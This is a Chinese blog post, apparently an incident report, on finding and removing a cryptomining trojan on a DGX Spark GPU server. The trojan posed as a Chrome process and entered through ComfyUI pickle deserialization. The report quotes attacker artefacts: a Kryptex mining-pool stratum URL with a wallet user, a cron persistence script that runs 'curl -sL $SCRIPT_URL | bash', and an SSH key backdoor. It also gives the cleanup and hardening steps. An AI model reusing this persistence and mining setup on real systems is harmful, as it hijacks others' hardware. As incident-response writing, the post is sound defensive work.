前几天在检查 NVIDIA DGX Spark (GB10 Grace Blackwell) 算力节点状态时,发现了一个极其诡异的现象:在没有任何主动推理和生图任务的情况下,nvidia-smi 显示 GPU 利用率(GPU-Util)长期飙升在 96% 左右,功耗拉满到 96W,温度直逼 80°C;但只要切过去敲几行排查命令,占用率又会瞬间跌回 0%。期初的发现真是通过技术奇客ITGeeker.net开发的 ITGeeker GPU Widget 工具
这种“猫鼠游戏”般的间歇性满载,明显不是正常业务的特征。经过一番顺藤摸瓜的底层取证,最终揪出了一套伪装成 Google Chrome 进程、利用 ComfyUI 历史反序列化漏洞入侵、并潜伏了数月的加密货币挖矿木马。
本文将完整复盘这次从异常发现、进程抓包、逆向溯源到彻底清理与安全加固的全过程,供各位自建 AI 算力服务器的朋友引以为戒。
一、 异常初现:96% 的算力去哪了?
最初通过ITGeeker GPU Widget发现自己没有使用任何大模型的时候,占有率一直还是那么高, 立即登录ssh执行 watch -n 5 nvidia-smi 监控显卡状态时,看到的画面如下:

列表中 sglang::scheduler 占用了近 89GB 统一内存,但它是常驻待机的。真正可疑的是最下面那个 PID 2399636:
- 进程名末尾显示为
...rack-uuid=3190708988185955192(看起来像是 Chrome 浏览器参数)。 - 但它的 Type 却是纯计算进程
C(而非正常的图形+计算C+G),且单独吃掉了 2,306 MiB 显存。
当我准备运行 nvidia-smi pmon -s u -d 1 抓它的 SM(计算核心)占用率时,狡猾的一幕发生了:PID 2399636 已经退出了,GPU 占用率瞬间掉到了 0%。
二、 守株待兔:用后台钩子抓出完整命令行
既然木马会间歇性休眠以躲避人工排查,那就写一段轻量级的后台监控脚本,只要有进程把 GPU SM 算力拉高超过 5%,立刻把它的完整启动参数(ps -o args=)写入日志:
nohup bash -c '
nvidia-smi pmon -s u -d 2 -o DT | awk "
!/^#/ && \$6 ~ /^[0-9]+$/ && \$6 > 5 {
cmd = \"ps -o args= -p \" \$4;
cmd | getline full_cmd;
close(cmd);
print \$1, \$2, \"PID:\"\$4, \"SM:\"\$6\"%\", \"MEM:\"\$7\"%\", \"CMD:\", full_cmd;
fflush();
}" >> /tmp/gpu_spikes.log 2>&1
' >/dev/null 2>&1 &
不久后,日志文件 /tmp/gpu_spikes.log 成功捕获到了现行(PID 2614193,SM 占用 94%):
20261121 09:31:36 PID:2614193 SM:94% MEM:0% CMD: /opt/google/chrome/chrome --type=gpu-process --gpu-recent-crash-count=0 --ozone-platform=wayland ... --trace-process-track-uuid=3190708988185955192 --coin pearl --user krxX2P8GQ4/pearl-30a2d0addf --url stratum+ssl://prl.kryptex.network:8048 ...
彻底实锤! 攻击者修改了进程的 argv 参数,前半段完整复制了正常 Chrome GPU 进程的启动参数进行伪装,后半段却暴露了它的真实身份——连接 kryptex.network 矿池 8048 端口挖掘 Pearl (PRL) 代币的 GPU 挖矿木马。
三、 顺藤摸瓜:从 /proc 逆向还原完整攻击链
趁着 PID 2614193 还在活跃运行,先不要急着 kill,直接通过 Linux 内核的 /proc 虚拟文件系统提取它的“铁证”:
ls -la /proc/2614193/exe /proc/2614193/cwd
tr '\0' '\n' < /proc/2614193/environ
ls -la /proc/2614193/fd
取证结果令人震惊,每一条线索都严丝合缝地拼出了整条入侵路径:
- 无文件隐身术:
/proc/2614193/exe指向/root/.cache/.sys_core/.python (deleted)。木马启动后立即删除了磁盘上的二进制自身,只在内存中驻留运行,并将日志输出到/root/.cache/.sys_core/.sys_log.log。 - 入侵源头直指 ComfyUI:
- 环境变量中包含
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/comfyui.service/memory.pressure和COMFYUI_PATH=/opt/ai_app/ComfyUI。 - 打开的文件句柄
fd 54直接指向/opt/ai_app/ComfyUI/input/libcuda_1795188113.cmd。 - 进一步排查
/opt/ai_app/ComfyUI/input/目录,发现了两个创建于 7 月 19 日 的恶意序列化文件:835007sasddfsdsfdb63f5cc718ffd5babbad07f3bca3bf.pkl。
- 环境变量中包含
- 持久化后门(每分钟自动“复活”):
在/etc/cron.d/目录下,发现了一个同样创建于 7 月 19 日 的定时任务文件sys-reviver:* * * * * root /lib/systemd/system-gpu/sys-reviver。查看/lib/systemd/system-gpu/sys-reviver的源码,发现它每分钟都会检查名为systemd-gpu-mgr的进程是否存活;一旦发现被杀,就会读取sys-gpu.conf配置,直接通过curl -sL "$SCRIPT_URL" | bash从云端重新拉取木马并启动!同时,攻击者还在/root/.ssh/authorized_keys中植入了一把免密登录公钥。
攻击链路复盘:早期部署 ComfyUI 时,由于服务直接以 root 权限运行且曾暴露在公网,攻击者利用 ComfyUI 的文件上传与 .pkl 反序列化漏洞(RCE)上传恶意载荷,直接继承 root 权限植入了每分钟自启的 sys-reviver 守护脚本与 SSH 后门。
四、 彻底清理与五步安全加固闭环
找准病根后,我们按以下步骤完成了彻底清理与系统加固:
步骤 1|拔除木马进程、隐藏目录与持久化定时任务
# 1. 停止守护定时任务并删除伪造系统目录
rm -f /etc/cron.d/sys-reviver
rm -rf /lib/systemd/system-gpu /var/lock/.reviver.lock
# 2. 强制结束挖矿进程并清理隐藏老巢及 ComfyUI 恶意载荷
kill -9 2614193
pkill -9 -f "systemd-gpu-mgr"
rm -rf /root/.cache/.sys_core
rm -f /opt/ComfyUI/input/libcuda*
rm -f /opt/ComfyUI/input/835007sasddfsdsfdb63f5cc718ffd5babbad07f3bca3bf*.pkl
# 3. 清理 /root/.ssh/authorized_keys 中的陌生公钥后门,仅保留可信密钥
步骤 2|封死矿池域名与出站端口
在 /etc/hosts 中将 kryptex.network 系列矿池域名全部指向 0.0.0.0,并在 iptables 出站链中直接丢弃发往 8048 端口的流量:
iptables -I OUTPUT -p tcp --dport 8048 -j DROP
步骤 3|ComfyUI 服务降权(绝不用 root 跑 AI 应用)
将 /opt/ai_app/ComfyUI 及 Python 虚拟环境的所有权移交给普通用户 itgeeker,将 itgeeker 加入 video,render 组以保留 GPU 调用权限,并修改 /etc/systemd/system/comfyui.service:
[Service]
User=itgeeker
Group=itgeeker
WorkingDirectory=/opt/ComfyUI
ExecStart=/opt/pyenv_confyui_312/.venv/bin/python main.py --listen 127.0.0.1 --enable-manager
将监听地址锁定为 127.0.0.1,彻底切断外部直接扫描 8188 端口的可能。
步骤 4|配置端口白名单并持久化防火墙规则
对于局域网或内部隧道需要调用的端口(如 8188、8000、30001),通过 iptables 严格限制仅允许本机(127.0.0.1)和内网段(192.168.188.0/24)访问,其余来源一律 DROP,并通过 netfilter-persistent save 持久化保存。同时排查了内网免密互通的其他 Linux 主机,确认未发生横向渗透。
步骤 5|部署自动化安全巡检脚本
最后编写了一个轻量级的 security_audit.sh 定时巡检脚本,每 30 分钟自动对比一次:
- 隐藏目录(
/tmp、/dev/shm、/root/.cache)下运行的无文件进程及进程名伪装; - ComfyUI
input目录下新增的.pkl/.cmd/.sh可疑文件; Cron定时任务、SSH authorized_keys、系统监听端口以及iptables防火墙规则的哈希基线变化。
五、 总结与教训
自建 AI 算力服务器(尤其是大显存、高算力设备)如今已成为黑产挖矿木马的重点扫描目标。这次排障留下了三条核心安全准则:
- 最小权限原则:ComfyUI、WebUI 等第三方开源 AI 应用更新频繁、插件生态复杂,绝对不要以
root身份运行,哪怕出现 0-day 漏洞,降权运行也能将破坏死死锁在普通用户目录内。 - 禁止无鉴权公网暴露:任何推理 API 或 Web 界面,严禁直接通过端口映射裸露在公网,必须收口在
127.0.0.1或内网白名单内,并通过带身份验证的反向代理或 SSH 加密隧道访问。 - 关注异常瞬时负载:遇到 GPU 占用率“一查就降、不查就满”的诡异现象,善用
nvidia-smi pmon配合 取证,往往能直接揭开高级伪装木马的画皮。











发表回复